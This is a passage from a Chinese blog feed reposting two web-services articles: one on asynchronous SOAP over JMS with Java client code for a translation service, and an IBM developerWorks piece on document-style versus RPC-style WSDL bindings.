<CENTER>图3. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure3.xml&amp;xslfile=../../include/xsl/Figure.xsl');">请求消息的过程</A></CENTER></TD></TR></TBODY></TABLE>然后，服务从队列得到请求。该步骤可以是在客户端放置请求后立即实现的，也可以在稍后时间完成，取决于服务器什么时候做好准备接收请求。然后服务器处理请求。如果请求在某些方面是无效的——例如，它可能不是一个有效的请求文档，或它可能用了不被支持或无效的语言编码——那么它就会生成一个SOAP fault envelope，其中详细说明出了什么问题。否则，服务就执行转换并生成适当的结果文档。如果在转换过程中出现与请求本身的有效性无关的技术错误，那么请求就保留在队列中，服务定期重试它们。最后，服务器就通过响应队列给客户端返回一个响应消息（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure4.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图4</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>尝试</FONT></B><BR>服务将转换结果文档（或SOAP fault）放在JMS reply-to指定的响应队列中。它包含JMS请求消息的ID，并设置相关的响应消息ID来匹配它，因此客户端就可以根据其意愿进行相应的请求/响应操作了。然后，在需要的时候，客户端就可以从响应队列得到完成的转换结果文档了（或SOAP fault）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图4. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig4sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图4. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure4.xml&amp;xslfile=../../include/xsl/Figure.xsl');">处理响应消息的过程</A></CENTER></TD></TR></TBODY></TABLE>你自己可以尝试调用AsynchBabelFish服务。（要访问AsynchBabelFish的client package和相关的JMS client libraries，请参阅www.xml-mag.com上的在线<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl');">资源</A>。）这个包（package）包括客户端源代码、二进制代码和它所依赖的第三方类库（libraries）。要运用这个客户端，你也需要创建一个XMethods帐号并请求你自己的响应队列（XMethods给它的用户提供了一个作为messagebox的响应队列，它是对该服务以及未来引发的异步服务所做的SOAP响应）。客户端下载包所包含的指南对这些步骤的每一步都提供了更详细的说明。Client package中的源程序文件在<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Table1.xml&amp;xslfile=../../include/xsl/Table.xsl');">表1</A>中有简要的说明。 </P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">TranslatorRequestor可以让你创建请求并将它发送到AsynchBabelFish请求队列中（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List2.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表2</A>）。其运行如下所示： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>java asynchBabelFish.
	TranslatorRequestor &lt;username&gt; 
	&lt;password&gt; &lt;text&gt; &lt;fromLanguage&gt; 
	&lt;toLanguage&gt; &lt;responseQueue&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">让我们来看看TranslatorRequestor的一些重点。首先，程序实例化一个到AsynchBabelFish服务队列的JMS连接。然后实例化一个RequestEnvelope对象： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>RequestEnvelope requestEnv=
	new RequestEnvelope(userID,
	password,sourceText,
	sourceLanguage,toLanguage);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">RequestEnvelope对象带有你传递的参数并在内部构造一个SOAP envelope。然后，当你调用它的toString()方法时，它就会以字符串形式给你返回一个相应的转换请求SOAP文档。我们用这个字符串创建一个JMS TextMessage对象： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>TextMessage message=
	queueSession.createTextMessage(
	requestEnv.toString());
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">将响应队列的句柄（handle）添加到消息的JMS reply-to header： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> // Get a handle to the reply-to 
// queue
Queue replyToQueue=queueSession.
	createQueue(replyToQueueName);

// and add it to the reply-to 
// field
message.setJMSReplyTo(
	replyToQueue);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">形成的结果消息就会在控制台打印出来并发送到服务队列。在这个例子中，你可以看到，被调用的TranslatorRequestor程序用了一个我们设置的测试帐号“joe”和一个测试响应队列（testResponseQueue）（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure5.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图5</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图5. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig5sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图5. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure5.xml&amp;xslfile=../../include/xsl/Figure.xsl');">请求转换</A></CENTER></TD></TR></TBODY></TABLE>然后服务器处理消息，返回一个转换结果文档或一个SOAP fault。ReplyProcessor程序负责处理响应消息（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List3.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表3</A>）。在这个例子中，我们用了一个与请求程序不同的程序来处理响应消息，尽管这并不是必需的。ReplyProcessor的调用方式如下所示： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>java asynchBabelFish.
	ReplyProcessor &lt;username&gt; 
	&lt;password&gt; &lt;responseQueue&gt; </PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">程序首先建立一个到命令行参数所指定的响应队列的JMS连接。然后它将自己注册为那个队列的一个listener。在典型的JMS消息传递模式中，传送的消息被反馈到ReplyProcessor 的onMessage()方法。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>得到有趣的信息</FONT></B><BR>对于进入响应队列的每个新消息，onMessage()都从消息中读取SOAP envelope（以一个TextMessage的形式），然后将来自TextMessage的字符串传递到ResponseEnvelope构造器中： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>ResponseEnvelope response=
	new ResponseEnvelope( 
	((TextMessage)message).
	getText());
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">ResponseEnvelope（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List4.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表4</A>）是个辅助类（helper class），它可以让我们更容易地处理转换结果文档。它的构造器以字符串形式读取SOAP XML，并实例化一个Apache SOAP Envelope对象，它用get()方法处理这个对象来提取有趣的参数（源文本、转换文本等等）。它的toString()方法也可以让你得到SOAP消息的源XML文档。然后响应消息和SOAP文档本身的相关ID（correlation ID）就被打印出来了： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>// The correlation ID matches the 
// JMS Message ID of the original 
// request message
System.out.println("\nResponse: 
	JMS Correlation ID = "+message.
	getJMSCorrelationID()+"\n");

// Print out the response SOAP 
// envelope
System.out.println(response);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">最后，从转换结果文档中打印出我们感兴趣的四个参数：源文本、源语言、转换文本和转换语言： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> // And print out a summary of the 
// translation.
System.out.println("\""+response.
	getSourceText()+"\" (
	"+response.getSourceLanguage()
	+") translates to \""+response.
	getTranslationText()+"\"    (
	"+response.
	getTranslationLanguage()
	+")\n\n");;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">如果传送的消息的确产生了一个SOAP fault，而不是一个有效的转换结果文档，那么要实例化ResponseEnvelope就会抛出一个异常，会从SOAP fault中形成错误字符串，并打印出对那个异常的堆栈跟踪（stack trace）（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List5.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表5</A>）。当程序对我们先前用TranslatorRequestor发送的请求的响应文档进行处理时，你就可以看到程序的结果（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure6.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图6</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图6. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig6sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图6. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure6.xml&amp;xslfile=../../include/xsl/Figure.xsl');">处理响应消息</A></CENTER></TD></TR></TBODY></TABLE>RPC机制限制了Web services的有效性。异步消息传递以及它同Web services整合的价值就在于，SOAP和更高级的Web services协议是独立于传输机制（transport-neutral）的；对于分布式计算（distributed computing）来说，没有通用的（one-size-fits-all）方法。JMS提供了可靠的异步传输，这种传输可以与其它受欢迎的SOAP堆栈一起（或隐藏在这些SOAP堆栈下）跨Internet实现。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">不管你选择哪种SOAP客户端类库，你都需要考虑如何运用异步消息传递来在企业内部或跨企业实现有效的数据传输。AsynchBabelFish例子可能并不是你在日常工作中使用或实现的那种服务，但它的确说明了SOAP是如何同JMS整合在一起的。</P><BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><FONT color=#666666 xmlns:fo="http://www.w3.org/1999/XSL/Format"><I>关于作者:</I></FONT><BR xmlns:fo="http://www.w3.org/1999/XSL/Format">David Chappel是Sonic Software的副总和主要技术传播者。他也是Java Web Services (O’Reilly &amp; Associates, 2002)、Professional ebXML Foundations (Wrox, 2001)和The Java Message Service (O’Reilly &amp; Associates, 2000)的合著者。最近，他获得了Java Pro杂志的“Java Community个人杰出贡献奖”（请访问<A href="http://www.sonicsoftware.com/" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">www.sonicsoftware.com</A>）。Tony Hong是Xmethods的合著者，是Web services目录的出版商（请访问<A href="http://www.xmethods.net/" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">www.xmethods.net</A>）。Dave的联系方式是<A href="mailto:chappell@sonicsoftware.com" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">chappell@sonicsoftware.com</A>，Tony的联系方式是<A href="mailto:thong@xmethods.net" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">thong@xmethods.net</A>。<BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><img src ="http://www.blogjava.net/kapok/aggbug/10653.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-22 09:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/22/10653.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>获得文档样式 Web 服务的好处</title><link>http://www.blogjava.net/kapok/archive/2005/08/22/10654.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 22 Aug 2005 01:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/22/10654.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10654.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/22/10654.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10654.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10654.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=5></TD>
<TD width="100%">
<TABLE cellSpacing=0 cellPadding=0 width=168 align=right border=0>
<TBODY>
<TR>
<TD width=8><IMG height=21 alt="" src="http://www.ibm.com/i/c.gif" width=5></TD>
<TD width=160>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#0">将您的服务设置为使用文档样式</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#1">文档样式的好处</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#2">何时使用文档样式</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#3">结束语</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR><!--Standard links for every dw-article-->
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#resources">参考资料 </A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#author1">关于作者</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#rating">对本文的评价</A></TD></TR>
<TR>
<TD><IMG height=10 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>相关内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-intwsdl/part1/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">使用 WSDL 部署 Web 服务</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>订阅:</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/newsletter/">developerWorks 时事通讯</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=150 bgColor=#000000 colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD width=150 bgColor=#ffffff colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/">http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/</A><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#author1"><NAME><BR><BR>James McCarthy</NAME></A><BR>总裁兼首席技术执行官, Symmetry Solutions，Inc.<BR>2002 年 6 月 </P>
<BLOCKQUOTE>大部分 Web 服务都是围绕着远程过程调用而构建的，而 WSDL 规范允许另外一种 Web 服务体系结构：文档样式（document style）。在该体系结构中，整个文档在服务客户端和服务器之间进行交换。在本文中，James McCarthy 将向您解释文档样式以及应该何时使用它。</BLOCKQUOTE>
<P>在 Web 服务描述语言（Web Service Definition Language，WDSL）规范中隐含着一个非常巧妙的转换开关，它可以将 Web 服务的 SOAP 绑定从远程过程调用转换成 pass-through 文档。在 SOAP 协议绑定中的样式属性可以包含这两个值中的一个： <CODE>rpc</CODE> 或 <CODE>document</CODE> 。当属性被设定为文档样式时，客户端知道应该使用 XML 模式而不是远程过程调用约定。本文将提供对这个 WSDL 转换开关的说明，描述它的好处，并将解释应该何时使用 pass-through 文档。 </P>
<P><A name=0><SPAN class=atitle2>将您的服务设置为使用文档样式</SPAN></A><BR>首先，让我们简要地谈谈 WSDL 的一些要点，来理解这个巧妙的转换是如何发生的。 WSDL 是一项 XML 规范，它被用来描述网络服务以及对于到达端点（服务）的协议相关的需求。WSDL 用抽象术语来描述服务；通过可扩展的绑定定义，它能够为使用具体术语调用服务定义协议和数据格式规范。下面的语法是直接从 WSDL 规范中摘录出来的，展示了在绑定中所包含的可扩展性元素：</P><A name=code1><B>清单1. 用于绑定中的扩展元素的 WSDL 语法</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;wsdl:definitions .... &gt;
    &lt;wsdl:binding name="nmtoken" type="qname"&gt; *
        &lt;-- extensibility element (1) --&gt; *
        &lt;wsdl:operation name="nmtoken"&gt; *
           &lt;-- extensibility element (2) --&gt; *
           &lt;wsdl:input name="nmtoken"? &gt; ?
               &lt;-- extensibility element (3) --&gt; 
           &lt;/wsdl:input&gt;
           &lt;wsdl:output name="nmtoken"? &gt; ?
               &lt;-- extensibility element (4) --&gt; *
           &lt;/wsdl:output&gt;
           &lt;wsdl:fault name="nmtoken"&gt; *
               &lt;-- extensibility element (5) --&gt; *
           &lt;/wsdl:fault&gt;
        &lt;/wsdl:operation&gt;
    &lt;/wsdl:binding&gt;
&lt;/wsdl:definitions&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>WSDL 规范（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">参考资料</A>部分以获得相关链接）通常描述三种绑定扩展：HTTP GET/POST、MIME 以及 SOAP version 1.1。HTTP GET/POST 和 MIME 中定义的绑定扩展用来定义与标准的 Web 应用程序进行通信的需求，这些应用程序可能返回（也可能不返回）XML 文档。在发送或返回 XML 文档时，HTTP GET/POST 绑定的扩展是隐式的文档样式。 </P>
<P>SOAP 绑定扩展用来定义支持 SOAP 信封协议的服务。SOAP 信封是一种简单模式，它设计成能包含 XML 消息，提供特定于应用程序的消息头和消息体。SOAP 绑定的扩展使 WSDL 文档能够声明 SOAP 消息的需求，这样应用程序就能够与服务正确通信。SOAP 扩展允许将 SOAP 消息的样式声明为文档或 RPC。如果在 <CODE>soap:binding</CODE> 元素中声明了样式属性，那么该样式将成为所有没有显式声明的样式属性的 <CODE>soap:operation</CODE> 元素的缺省值。如果在 <CODE>soap:binding</CODE> 元素中没有声明样式属性，那么缺省的样式就是文档。下面是文档样式的显式声明： </P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>
&lt;soap:binding style="document" transport="uri"&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>不管 <CODE>soap:binding</CODE> 元素中的声明如何， <CODE>soap:operation</CODE> 元素可以覆盖每个操作的声明，就像这样的： </P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>
&lt;soap:operation soapAction="uri" style="document"&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>在声明了文档样式的 SOAP 消息中，原始（as-is）或编码（encoded）的消息被直接放置在 SOAP 信封的体部。如果样式声明为 RPC，消息就封装在包装器元素中，同时带有从操作名属性中提取的的元素的名称以及从操作名称空间属性中提取的名称空间。</P>
<P><A name=1><SPAN class=atitle2>文档样式的好处</SPAN></A><BR>勿庸置疑，使用 XML 调用跨平台的远程过程调用的能力是非常有用的，它是使用 Web 服务的非常有说服力的理由。但是如果 Web 服务仅仅局限于 RPC 消息传递，这项技术的影响将是有限的。幸运的是，开发人员可以选择是使用 RPC 还是文档样式的消息传递，并且能够使用适合的技术来完成他们面临的任务。 </P>
<P><A name=2.1><SPAN class=atitle3>使用文档样式，您可以充分利用 XML</SPAN></A><BR>XML 规范开发用来使通常锁定于专有格式的常规数据可以以一种人易读的、自描述的、自验证的开放格式来描述。当 Web 服务使用文档消息传递时，它可以利用 XML 的全部能力来描述和验证高级业务文档。当服务使用 RPC 消息格式化时，XML 描述方法以及为方法调用编码的参数，但是却不能用来执行高级业务规则。为了执行这些规则，RPC 消息必须包含 XML 文档作为字符串参数并且在被调用的方法中隐藏验证。出于这个原因，XML 的某些好处就丧失了，或者至少是被隐藏在后台应用程序里了。 </P>
<P><A name=2.2><SPAN class=atitle3>文档样式无需严格的契约</SPAN></A><BR>使用文档消息传递的另外一个原因在于，远程过程调用必须是相对静态的，并且对接口的任何变化都将破坏服务和应用程序之间的契约。如果服务是广泛分布的，那么很可能大量的应用程序已经从它的 WSDL 文档中产生了存根代码。改变 WSDL 将会导致所有依赖于特定方法签名的应用程序被破坏，而且许多支持行产生问题。好的设计要求 RPC 消息服务的方法签名不应该改变。使用文档消息传递，规则更不严格，并且可以使 XML 模式得到显著增强和改变，同时又不会破坏调用应用程序。 </P>
<P><A name=2.3><SPAN class=atitle3>文档样式更适合于异步处理</SPAN></A><BR>当业务使用基于 Web 的应用程序通过 Internet 交换信息时，应用程序应该能够使用有保证的交付机制来提高它的可靠性、可伸缩性和性能。为了达到这个目的，应用程序通常将使用异步消息队列。由于文档消息通常是自包含的，所以它更适合于异步处理，并且可以直接放到队列中。之所以说应用程序的可靠性得到了提高，是因为即使目标应用程序当前不是活动的，消息队列也可以保证消息的交付；之所以说性能得到了提高，是因为 Web 应用程序只是把文档发送到队列中，然后便可以自由地执行其他的任务；之所以说可扩展性得到了提高，是因为文档被下传到一个或多个应用程序的实例以进行处理。 </P>
<P><A name=2.4><SPAN class=atitle3>文档样式使对象交换更加灵活</SPAN></A><BR>业务文档的设计通常很好地适于面向对象的体系结构。结果，两个应用程序可以设计成通过使用 XML 交换对象的状态。与对象序列化相比，在对象交换中，交换的每个端点都可以自由地设计它认为合适的对象，只要交换符合达成协议的 XML 文件格式即可。不使用对象序列化的一个原因是为了支持对象在客户端和服务器端的实现。许多现有的特定于行业的 XML 模式被设计成客户端/服务器体系结构，在这种体系结构中，在客户端上完成的处理与预定在服务器上完成的处理是分离的。通常的情况是，客户端仅仅以服务器要求的特定文档格式请求或保存信息。当然，这种类型的交换也能用 RPC 消息完成，但是这种消息的编码方式限制了每个端点上的对象的设计。在文档样式中就不会出现这些限制问题。</P>
<P><A name=2><SPAN class=atitle2>何时使用文档样式</SPAN></A><BR>什么时候应该使用文档样式呢？简单地说：只要没有连接到已存在的远程过程调用，任何时候都可以使用文档方式。使用文档方式比起通常花费额外的工作来连接服务，好处要大得多。不过需要提醒的是：一般来说，构建一个使用文档消息传递的服务的工作量要比构建一个 RPC 消息服务所需的工作量大。这些额外的工作通常包括 XML 模式的设计或对已存在的模式的支持、以及从文档中提取相关的信息。模式设计是重要的，因为 XML 解析器使用这个模式来验证文档，支持预定的业务规则。服务需要进行额外的工作来从文档中提取用于处理请求的相关信息。相比之下，RPC 消息只需要设计方法的接口，通过方法的接口，RPC 消息就可以自动地编组和解组参数。 </P>
<P>当您决定发布一项服务时，您可能应该考虑下列问题。我将在下面的部分中分析您的答案的结果。</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>这项服务是连接到已存在的过程调用，并且这个过程调用是无状态的吗？ 
<LI>这项服务是仅在您的组织内部使用，还是也可以被外部用户所使用？ 
<LI>参数之一仅仅是 XML 文档规范吗？ 
<LI>这项服务需要请求/响应体系结构吗？ 
<LI>参数表示了可以从用于验证的 XML 文档模式受益的复杂结构吗？ 
<LI>所有需要进行交换的信息都能够合理地存放在内存中吗？ </LI></UL>
<P><A name=3.1><SPAN class=atitle3>在维护应用程序状态时使用文档样式</SPAN></A><BR>如果必须以特定的顺序调用多个过程来维护应用程序状态，您应该考虑在您的服务中使用文档体系结构。如果需要多个过程调用，那么过程就不是无状态的，并且服务必须维护应用程序状态。在 Web 服务中维护状态可能是困难的；在远程过程调用的情况下，很少有客户端平台会产生能够支持状态信息的存根代码。一个可能的解决方案是使用文档体系结构，并在文档内部传送整个事务的内容。在这种情况下，服务将执行调用，以确保服务内部保持正确的顺序，并且状态信息的维护不超出单个事务的范围。如果仍然需要状态信息，可以将状态信息记录在最终得到的文档中，客户端应用程序也可以维护一个用于服务识别它的状态的令牌。 </P>
<P><A name=3.2><SPAN class=atitle3>使用文档样式来发布可供外部伙伴使用的服务</SPAN></A><BR>如果一个应用程序被发布到组织以外，发布者就很难控制谁正依赖于这个服务，以及如果做出任何改动后果会怎样。在这种情况下，使用文档消息传递和支持像 ebXML 这样的通用交换协议可能更加有利。通用交换协议正发展成能改善外部交换的管理，因此新的贸易合作伙伴协定就可以快速地部署。同样，如果您的服务不需要请求/响应体系结构，那么通用交换协议就可以更好地设计来处理认证、可靠消息交付以及异步请求/响应。 </P>
<P><A name=3.3><SPAN class=atitle3>使用文档样式来简化复杂文档的验证和使用</SPAN></A><BR>如果您的服务正使用字符串参数来传递或返回 XML 文档，或者它的参数之一是一个具有复杂结构且需要自定义处理的对象，那么文档消息传递就可能是较好的选择。将参数的真实含义隐藏在字符串里经常会导致带有无效参数的有效调用。如果服务发布了 XML 文档模式，那么在调用服务之前根据这个模式进行验证就会更加容易。复杂结构经常用来传递组成完整事务的数百条信息。在处理复杂的结构时，远程过程服务可能不得不处理自定义的编组代码，同时应用程序仍然负责仔细地验证结构的每个元素。如果使用文档消息传递，那么应用程序程序员就可以使用 XML 模式来将验证下传到文档设计器，并且不需要自定义的编组代码。 </P>
<P><A name=3.4><SPAN class=atitle3>使用文档样式来最小化内存中的处理</SPAN></A><BR>在选择使用文档样式的消息传递还是 RPC 样式的消息传递时，需要考虑的最后一个因素是需要处理的信息量大小。由于采用 RPC 样式的消息传递来编组参数的大部分（如果不是全部的话）实现都是在内存中执行这项操作，所以内存约束可能会使得 RPC 消息传递行不通。许多文档消息传递服务能够选择是用 DOM 还是用 SAX 来处理文档，因而能够最小化内存中的处理。这对于 Web 服务尤为关键，因为它可能需要处理成千上万的请求，而且其中许多是同时发生的。</P>
<P><A name=3><SPAN class=atitle2>结束语</SPAN></A><BR>在您设计下一个 Web 服务时，您需要考虑当前的 WSDL 规范为您提供的所有选择。在开始创建过程性的接口之前，考虑好将如何使用服务，谁将使用它，以及需要交换的数据的类型和数量。设计开发文档样式的 Web 服务可能需要稍多一些的工作量，但是在很多情况下，这些额外的工作量将会换取更高的信息质量和更可靠的交换性能。</P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.ibm.com/developerworks/library/ws-docstyle.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">英文原文</A>. <BR><BR>
